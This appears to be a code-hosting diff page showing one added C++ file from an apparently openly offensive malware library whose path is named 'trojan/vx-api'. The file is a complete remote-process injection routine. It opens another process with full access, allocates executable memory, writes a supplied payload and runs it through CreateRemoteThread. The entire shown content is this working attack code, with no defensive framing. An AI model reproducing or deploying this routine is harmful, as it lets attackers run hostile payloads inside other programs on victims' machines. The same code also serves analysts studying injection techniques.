Showing the changes to trojan/vx-api/MpfPiWriteProcessMemoryCreateRemoteThread.cpp (1 of 749 files). Show all
Unified · Split
| @@ -0,0 +1,40 @@ | ||
| 1 | +#include "Win32Helper.h" | |
| 2 | + | |
| 3 | +BOOL MpfPiWriteProcessMemoryCreateRemoteThread(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes, _In_ DWORD TargetProcessId) | |
| 4 | +{ | |
| 5 | + HANDLE hHandle = NULL, hThread = NULL; | |
| 6 | + LPVOID BaseAddress = NULL; | |
| 7 | + BOOL bFlag = FALSE; | |
| 8 | + | |
| 9 | + hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, TargetProcessId); | |
| 10 | + if (hHandle == NULL) | |
| 11 | + goto EXIT_ROUTINE; | |
| 12 | + | |
| 13 | + BaseAddress = VirtualAllocEx(hHandle, NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
| 14 | + if (BaseAddress == NULL) | |
| 15 | + goto EXIT_ROUTINE; | |
| 16 | + | |
| 17 | + if (!SetProcessPrivilegeToken(0)) | |
| 18 | + goto EXIT_ROUTINE; | |
| 19 | + | |
| 20 | + if (!WriteProcessMemory(hHandle, BaseAddress, Payload, PayloadSizeInBytes, NULL)) | |
| 21 | + goto EXIT_ROUTINE; | |
| 22 | + | |
| 23 | + hThread = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)BaseAddress, NULL, 0, NULL); | |
| 24 | + if (hThread == NULL) | |
| 25 | + goto EXIT_ROUTINE; | |
| 26 | + | |
| 27 | + WaitForSingleObject(hThread, INFINITE); | |
| 28 | + | |
| 29 | + bFlag = TRUE; | |
| 30 | + | |
| 31 | +EXIT_ROUTINE: | |
| 32 | + | |
| 33 | + if (hThread) | |
| 34 | + CloseHandle(hThread); | |
| 35 | + | |
| 36 | + if (hHandle) | |
| 37 | + CloseHandle(hHandle); | |
| 38 | + | |
| 39 | + return bFlag; | |
| 40 | +} | |